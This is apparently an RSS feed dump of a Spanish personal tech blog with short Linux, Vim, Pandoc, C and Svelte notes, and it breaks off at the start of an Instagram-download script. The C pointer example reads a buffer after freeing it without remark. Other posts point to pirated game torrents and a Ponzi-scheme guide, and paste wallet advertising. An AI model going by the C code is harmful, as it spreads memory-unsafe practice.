<p>y en la línea:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">[</span>Mapping analog-stereo<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>device-strings <span style="color:#f92672">=</span> front:%f hw:%f
</span></span><span style="display:flex;"><span>channel-map <span style="color:#f92672">=</span> left,right
</span></span></code></pre></div><p>Cambiar channel-map a right,left.</p>
<p>Luego basta con reiniciar pulseaudio, con <code>pulseaudio -k</code></p>
-
Cambiando la resolución de TTY
https://imlauera.github.io/post/2021-01-08-cambiando-la-resoluci%C3%B3n-de-tty/
Fri, 08 Jan 2021 10:39:57 -0300
https://imlauera.github.io/post/2021-01-08-cambiando-la-resoluci%C3%B3n-de-tty/
<p>Sólo podés usar modos que tu tarjeta gráfica soporta vía VBE; podés verlos ejecutando el comando <code>vbeinfo</code> en el grub o también podés detectar las resoluciones usando el comando:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo hwinfo --framebuffer
</span></span></code></pre></div><p>Luego el resultado lo usé en <code>"gfxpayload="</code> en /etc/default/grub demostrado más abajo, en mi caso la máxima resolución admitida era 1920x1080.</p>
<h3 id="editando-etcdefaultgrub">Editando /etc/default/grub</h3>
<p>En muchos sitios decían de usar la opción vga en la variable GRUB_CMDLINE_LINUX pero no funcionó para mi, está obsoleta. Es decir, en vez de usar <code>GRUB_CMDLINE_LINUX="vga=nnn"</code> usé <code>GRUB_CMDLINE_LINUX="gfxpayload=1920x1080"</code></p>
-
Actualizando a Testing desde Debian Stable
https://imlauera.github.io/post/2021-01-06-actualizando-a-testing-desde-debian-stable/
Wed, 06 Jan 2021 00:00:00 +0000
https://imlauera.github.io/post/2021-01-06-actualizando-a-testing-desde-debian-stable/
<p>Los paquetes desde Debian inestable entran automáticamente en la siguiente distribución estable de pruebas(Debian Testing), cuando una lista de requerimientos se completa:</p>
<blockquote>
<ul>
<li>El paquete ha estado en “inestable”(unstable) por lo menos 2-10 días (dependiendo de la urgencia de la subida).</li>
</ul>
</blockquote>
<ul>
<li>Se ha construido el paquete para todas las arquitecturas para las que la presente versión de pruebas fue construida.</li>
<li>Instalar el paquete en pruebas no hará la distribución menos instalable.</li>
<li>El paquete no introduce nuevos bugs de publicación críticos.</li>
</ul>
<ol>
<li>Edite el fichero /etc/apt/sources.list, cambiando ‘stable’ (o ‘buster’ o el actual nombre clave para stable) a ’testing’ (o ‘bullseye’ el actual nombre clave para la siguiente publicación estable).</li>
<li>Elimine o comente las líneas de actualizaciones de seguridad de stable (cualquier cosa con security.debian.org en ella).</li>
<li>Elimine o comente otras líneas específicas de stable, como *-backports o *-updates.</li>
</ol>
<p>El nombre clave para la siguiente publicación estable, p.ej: “bullseye”, seguirá el trazo de “bullseye” a través de su transición a “stable” y mas tarde a oldstable, mientras que “testing” permanecerá rotando tras la nueva publicacion stable. Si preferís seguir la publicación stretch segun se vuelve stable, actualice el /etc/apt/sources.list reemplazando “stable” o “testing” con “bullseye”.</p>
-
Lista de juegos estoy corriendo en Debian 10
https://imlauera.github.io/post/2020-12-31-juegos-que-pude-correr-en-debian-10/
Thu, 31 Dec 2020 19:58:57 -0300
https://imlauera.github.io/post/2020-12-31-juegos-que-pude-correr-en-debian-10/
<p>Game Manager usados:</p>
<blockquote>
<p>Lutris, PlayOnLinux, Steam.</p>
</blockquote>
<p>Actualmente instalados y funcionando perfectamente, usando Vulkan.
En Debian tuve que instalar el paquete: nvidia-vulkan-common</p>
<blockquote>
<p>HearthStone, Minecraft, League Of Legends, CSGO, Dota2, Dota Underlords, Unturned, WarFrame, World Of Warcraft, Brutal Doom</p>
</blockquote>
<p>Pude también correr el emulador de PS2 (PCSX2), y el emulador de PS3 (RPCS3).
Los juegos que probé con el emulador de PS2 fueron:</p>
<blockquote>
<p>Resident Evil 4, Guitar Hero</p>
</blockquote>
<p>Y muchisimos mas con la guia de JohnCena141 todos sus torrents estan en 1337x.to
<!-- raw HTML omitted -->Observación<!-- raw HTML omitted -->: Lutris por defecto ya tiene integrado el emulador de PS2, no hace falta instalarlo por separado, directamente buscás el juego y te va a proceder a presentar diferentes formas de correrlo si es que existen varias.</p>
-
Extensiones del navegador que uso
https://imlauera.github.io/post/2020-12-31-extensiones-del-navegador-que-uso/
Thu, 31 Dec 2020 10:39:57 -0300
https://imlauera.github.io/post/2020-12-31-extensiones-del-navegador-que-uso/
<p>Actualmente estoy usando LibreWolf como navegador principal.</p>
<p>Y las extensiones que uso son las siguientes:</p>
<p><a href="https://sponsor.ajay.app/">SponsorBlock</a></p>
<p><!-- raw HTML omitted --><!-- raw HTML omitted -->uBlock Origin<!-- raw HTML omitted --> es una extensión de navegador de código abierto para filtrado de contenido y bloqueo de publicidad en línea.<br>
<!-- raw HTML omitted --><!-- raw HTML omitted -->Simple Translate<!-- raw HTML omitted --> traduce rápidamente el texto seleccionado en cualquier página web, muy útil.<br>
<!-- raw HTML omitted --><!-- raw HTML omitted -->DarkReader<!-- raw HTML omitted --> crea una versión Dark Mode de casi cualquier páginas webs. Ojo: hay algunas webs, MUY pocas, que crashean por esto, pero se puede desabilitar su uso para páginas particulares.<br>
<!-- raw HTML omitted --><!-- raw HTML omitted -->Search by Image<!-- raw HTML omitted --> busca una imágen en múltiples buscadores con un click. Cuando instalé la extensión tuve que cambiar el modo de búsqueda a “Select and Upload” en lugar de sólo Select, sino no me funcionaba.<br>
<!-- raw HTML omitted -->HTTPS Everywhere<!-- raw HTML omitted --> HTTPS Everywhere es una extensión para proteger sus comunicaciones al habilitar el cifrado HTTPS automáticamente en sitios que se sabe que lo admiten, incluso cuando escribe URL o sigue enlaces que omiten el prefijo https.</p>
-
Usando Markdown, Beamer y Pandoc para hacer presentaciones como PowerPoint
https://imlauera.github.io/post/2020-12-31-usando-markdown-y-pandoc-para-hacer-presentaciones-como-powerpoint/
Thu, 31 Dec 2020 10:39:57 -0300
https://imlauera.github.io/post/2020-12-31-usando-markdown-y-pandoc-para-hacer-presentaciones-como-powerpoint/
<p>Primero de todo tenés que tener el paquete LaTeX instalado. Si usás debian te recomiendo instalar el paquete
texlive-full.<br>
<strong>Pandoc</strong> es un conversor de documentos libre y de código abierto, mayormente usado como una herramienta de escritura (especialmente por académicos).</p>
<p><strong>Markdown</strong> es un lenguaje de marcado cuya funcionalidad es darle estilo a un texto.</p>
<p>Abrimos un archivo llamado: hello.md y escribimos</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span># Hello World.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Esto es una prueba.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">*</span> Esto es un ítem.
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">*</span> De una lista.
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">*</span> Prueba
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">## Este es un título más pequeño
</span></span></span></code></pre></div><p>Más información: <a href="https://guides.github.com/pdfs/markdown-cheatsheet-online.pdf">Markdown Cheat Sheet</a><br>
También se puede usar etiquetas HTML en Markdown.</p>
-
Generando códigos QR desde la línea de comandos
https://imlauera.github.io/post/2020-12-13-codigos-qr/
Sun, 13 Dec 2020 00:52:57 -0300
https://imlauera.github.io/post/2020-12-13-codigos-qr/
<p>El código QR es capaz de contener mucha información <strong>más que un código de barras</strong>,
y es por su diseño, el escáner puede determinar en qué dirección se encuentra el
código QR y orientar la imágen automáticamente al leerlo y decodificarlo.</p>
<p><strong>¿Por qué no usar un generador de QR online?</strong> Todos pueden
a retener y guardar la información.</p>
<p>Si vas a crear códigos QR con información personal
en ellos, como detalles de contacto o detalles de la conexión WiFi, no
es recomendable usar estos servicios.</p>
-
Como uso VIM, guía definitiva.
https://imlauera.github.io/post/2021-01-02-como-uso-vim-un-resumen-de-sus-funciones-principales/
Thu, 02 Jan 2020 22:39:57 -0300
https://imlauera.github.io/post/2021-01-02-como-uso-vim-un-resumen-de-sus-funciones-principales/
<h3 id="entrando-y-saliendo-de-vim">Entrando y saliendo de VIM.</h3>
<p>vim nombre_del_archivo para abrir vim<br>
:w: guarda el archivo.<br>
:q sale, :q! para forzar la salida.
:wq guarda y sale.<br>
:x sale y guarda, equivalente a wq.</p>
<p>Se puede salir usando también Shift+zq (salir sin guardar :q) o Shift+zz (guardar y salir que es equivalente a :wq o :x)</p>
<p>Si abrís vim sin el nombre del archivo. O sea sólo escribiendo vim, cuando guardás vas
a tener que asignar el nombre del archivo haciendo :w <nombre del archivo></p>
-
Abrir link con whatsapp web
https://imlauera.github.io/abrir_link_sin_whatsapp/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/abrir_link_sin_whatsapp/
<p>Cambiá el <code>app_absent</code> de 0 a 1.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>https://api.whatsapp.com/send/?phone<span style="color:#f92672">=</span>XXXXXXX&text&type<span style="color:#f92672">=</span>phone_number&app_absent<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span></code></pre></div><p>Y dale a abrir en <code>whatsapp web</code>.</p>
-
Aprendiendo punteros en C
https://imlauera.github.io/post/aprendiendo_c/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/post/aprendiendo_c/
<h3 id="ejemplo">Ejemplo</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdio.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdlib.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">printLocalTime</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>timeStringBuff<span style="color:#f92672">=</span><span style="color:#a6e22e">malloc</span>(<span style="color:#ae81ff">30</span>); <span style="color:#75715e">//50 chars should be enough
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">//char timeStringBuff[100]; //50 chars should be enough
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>mic <span style="color:#f92672">=</span> <span style="color:#e6db74">"2022"</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> c <span style="color:#f92672">=</span> <span style="color:#e6db74">'m'</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> test <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> prueba[<span style="color:#ae81ff">50</span>]; <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>prueba_m <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(<span style="color:#ae81ff">50</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,<span style="color:#66d9ef">sizeof</span>(prueba));
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,<span style="color:#66d9ef">sizeof</span>(prueba_m));
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sprintf</span>(timeStringBuff, <span style="color:#e6db74">"they tried everything %s %d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,mic,test);
</span></span><span style="display:flex;"><span> <span style="color:#75715e">//Optional: Construct String object
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// Esto retorna un puntero a la direccion de memoria en donde esta timeStringBuff
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// *timeStringBuff = timeStringBuff[0]
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// *(timeStringBuff+3) = timeStringBuff[3]
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,timeStringBuff);
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Vos no retornas la palabra cuando ejecutas return timeStringBufff retornas un puntero
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// que apunta a la primer letra del char. Y lo que hace el '%s' es leer hasta que encuentra el \0
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%c</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,<span style="color:#f92672">*</span>timeStringBuff);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> hola[] <span style="color:#f92672">=</span> {<span style="color:#e6db74">'h'</span>,<span style="color:#e6db74">'o'</span>,<span style="color:#e6db74">'l'</span>,<span style="color:#e6db74">'a'</span>,<span style="color:#e6db74">'\0'</span>};
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,hola);
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Cambio valor
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span>(<span style="color:#66d9ef">int</span> i<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>; i<span style="color:#f92672"><</span><span style="color:#ae81ff">10000</span>; i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sprintf</span>(timeStringBuff, <span style="color:#e6db74">"reincarnation"</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,timeStringBuff);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (c <span style="color:#f92672">==</span> <span style="color:#e6db74">'m'</span>) <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"we're winning</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> timeStringBuff;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>freeThis <span style="color:#f92672">=</span> <span style="color:#a6e22e">printLocalTime</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,freeThis);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">free</span>(freeThis);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,freeThis);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> a <span style="color:#f92672">=</span> <span style="color:#ae81ff">65</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%c</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,(<span style="color:#66d9ef">char</span>)a);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h4 id="uniones">Uniones</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">union</span> Data{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> i;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">float</span> f;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> str[<span style="color:#ae81ff">20</span>];
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">union</span> Data data;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>data.i <span style="color:#f92672">=</span> <span style="color:#ae81ff">10</span>;
</span></span><span style="display:flex;"><span>data.f <span style="color:#f92672">=</span> <span style="color:#ae81ff">220.5</span>;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">strcpy</span>(data.str, <span style="color:#e6db74">"C Programming"</span>);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="file-opening">FILE OPENING:</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> FILE<span style="color:#f92672">*</span> filePointer;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> dataToBeWritten[<span style="color:#ae81ff">50</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">"GeeksforGeeks-A Computer "</span>
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">"Science Portal for Geeks"</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> filePointer <span style="color:#f92672">=</span> <span style="color:#a6e22e">fopen</span>(<span style="color:#e6db74">"GfgTest.c"</span>, <span style="color:#e6db74">"w"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (filePointer <span style="color:#f92672">==</span> NULL) {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"GfgTest.c file failed to open."</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"The file is now opened.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">strlen</span>(dataToBeWritten) <span style="color:#f92672">></span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fputs</span>(dataToBeWritten, filePointer);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fputs</span>(<span style="color:#e6db74">"</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, filePointer);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#75715e">/*
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> while (fgets(dataToBeRead, 50, filePointer)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> != NULL) {
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> // Print the dataToBeRead
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> printf("%s", dataToBeRead);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> }
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fclose</span>(filePointer);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Data successfully written in file "</span>
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">"GfgTest.c</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"The file is now closed."</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>
-
Aprendiendo Svelte3
https://imlauera.github.io/post/aprendiendo-svelte3/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/post/aprendiendo-svelte3/
<p>DOM event handlers can have modifiers that alter their behaviour. For example, a handler with a once modifier will only run a single time:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><<span style="color:#f92672">script</span>>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">handleClick</span>() {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">alert</span>(<span style="color:#e6db74">'clicked'</span>)
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span></<span style="color:#f92672">script</span>>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><<span style="color:#f92672">button</span> <span style="color:#a6e22e">on:click</span><span style="color:#f92672">=</span><span style="color:#e6db74">{handleClick}</span>>
</span></span><span style="display:flex;"><span> Click me
</span></span><span style="display:flex;"><span></<span style="color:#f92672">button</span>>
</span></span></code></pre></div>
-
Arduboy
https://imlauera.github.io/arduboy/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/arduboy/
<p>Estaria bueno crear un negocio como Duolingo en donde supuestamente aprendes idiomas pero en realidad es solo una empresa de publicidad, un idioma no se aprende asi.</p>
<p><a href="https://markus.hofer.rocks/diy-arduboy">https://markus.hofer.rocks/diy-arduboy</a></p>
<p><img src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2F474223a1-be8f-4bfa-8faf-9a5c71758855%2F467e1ae2-e970-46a9-8f7b-e53a1cbff202%2FScreenshot_2024-02-27_at_5.03.42_PM.png" alt=""></p>
<p><a href="https://blackish.at/files/ArduboySketch.fzz">https://blackish.at/files/ArduboySketch.fzz</a></p>
<p>Perfecto — te preparo una guía práctica, paso a paso, para convertir el DIY Arduboy (o un dispositivo inspirado en él) en un <strong>producto final vendible</strong>. La guía cubre desde la investigación y el diseño hasta la fabricación, certificaciones, costes aproximados y lanzamiento. Voy directo a la acción y te doy plantillas y números reales para que los uses ya.</p>
-
Celsius Fahrenheit
https://imlauera.github.io/celsius_fahrenheit/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/celsius_fahrenheit/
<p>Así de simple: <code>Celsius*1.8 + 32 = Fahrenheit</code></p>
-
Cifrando archivos en GNU/Linux
https://imlauera.github.io/post/cifrando-archivos-en-gnu-linux/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/post/cifrando-archivos-en-gnu-linux/
<p>Para cifrar:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>gpg -c archivo_privado
</span></span><span style="display:flex;"><span>cat privado
</span></span></code></pre></div><p>Luego de cifrar borrá el archvio original</p>
<p>Para descifrar:</p>
<pre tabindex="0"><code>gpg archivo_privado.gpg
</code></pre>
-
Clone a folder of a rsync server
https://imlauera.github.io/clone_site_rsync/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/clone_site_rsync/
<p><strong>As simple as</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>rsync -avcr --delete rsync://rsync_server.com:1111/folder .
</span></span></code></pre></div><hr>
<p><strong>Cronjob</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>@daily rsync -avcr --delete rsync://rsync_server.com:1111/folder /home/esotericwarfare/offline_site
</span></span></code></pre></div>
-
Comandos bash interesantes: ffmpeg, glxinfo, os info
https://imlauera.github.io/post/comandos-interesantes-para-la-l%C3%ADnea-de-comandos/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/post/comandos-interesantes-para-la-l%C3%ADnea-de-comandos/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>glxinfo
</span></span><span style="display:flex;"><span>cat /etc/os-release
</span></span><span style="display:flex;"><span>cat /etc/issue
</span></span><span style="display:flex;"><span>uname -srv
</span></span><span style="display:flex;"><span>ffmpeg -itsoffset <span style="color:#ae81ff">3</span> -ss 00:21:00 -i input.mp4 -to 00:02:00 -async <span style="color:#ae81ff">1</span> -c copy output.mp4
</span></span></code></pre></div><p>La opción <code>-to</code> son los minutos adicionales a cortar desde opción <code>-ss</code><br>
La opción <code>itsoffset</code> sirve sincronizar el video con el audio</p>
<p>comandos cpu info, espacio usado de disco, espacio usado por archivos, etc…</p>
-
Como crear una estafa Ponzi (con fines educativos)
https://imlauera.github.io/post/nuevos/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/post/nuevos/
<p><a href="https://callmenish.com/how-to-run-a-tech-ponzi-scheme/">https://callmenish.com/how-to-run-a-tech-ponzi-scheme/</a></p>
-
Como transcribo audios
https://imlauera.github.io/how_do_i_write/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/how_do_i_write/
<p>Cuando tengo que transcribir mucho texto pongo un audio en segundo plano para distraerme y un video en mute en el celular o en la computadora, esa es la mejor forma que encontré para tener la menor cantidad de pausas posibles al transcribir audios y uso un respaldo para mi codo.</p>
-
Comprar bitcoin sin exchange
https://imlauera.github.io/comprar_bitcoin_sin_exchange/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/comprar_bitcoin_sin_exchange/
<p>You do not need a CEX. Just buy it witouth KYC using HodlHodl, lnp2pbot in Telegram or just but it direct with your hardware wallet using Trezor Suite, BitBoxApp, etc.</p>
<p>great question! you can use peer to peer platforms like Bisq or RoboSats to buy Bitcoin without an exchange. just make sure to use a non custodial wallet like Sparrow or BlueWallet for true ownership!</p>
<p>If you want to own BTC like gold, get a self-custody wallet. Bitget Wallet helps you buy & hold Bitcoin safely—no middlemen, no exchange risks Plus zero swap fees for new users, right now</p>
-
Contestar mensaje
https://imlauera.github.io/contestar_mensaje/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/contestar_mensaje/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Hi name
</span></span><span style="display:flex;"><span>Would you be available for a meeting to discuss a project to configure 4 Linode virtual private servers (2 web servers and 2 database servers) ?
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>I am a single developer, not part of any company, who is creating a small web hosting business to rent packaged Next.js websites to small businesses in the U.S.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Are you available for a meeting. If yes, I will send you scheduling details.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Thanks.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Best Regards;
</span></span><span style="display:flex;"><span>Rich Howland
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Hi Rich,
</span></span><span style="display:flex;"><span>Thank you for reaching out! Yes, I am available to work on the project to configure the Linode virtual private servers.
</span></span><span style="display:flex;"><span>I can meet on Tuesday or Thursday afternoon between 2 PM and 4 PM (your time). Please let me know if that works for you, and feel free to send the scheduling details.
</span></span><span style="display:flex;"><span>Looking forward to discussing this exciting project!
</span></span><span style="display:flex;"><span>Best regards;
</span></span></code></pre></div>
-
Descargar instagram stories desde la bash
https://imlauera.github.io/descargar_instagram_stories/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/descargar_instagram_stories/
<p>Cortesía de opencode XD.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
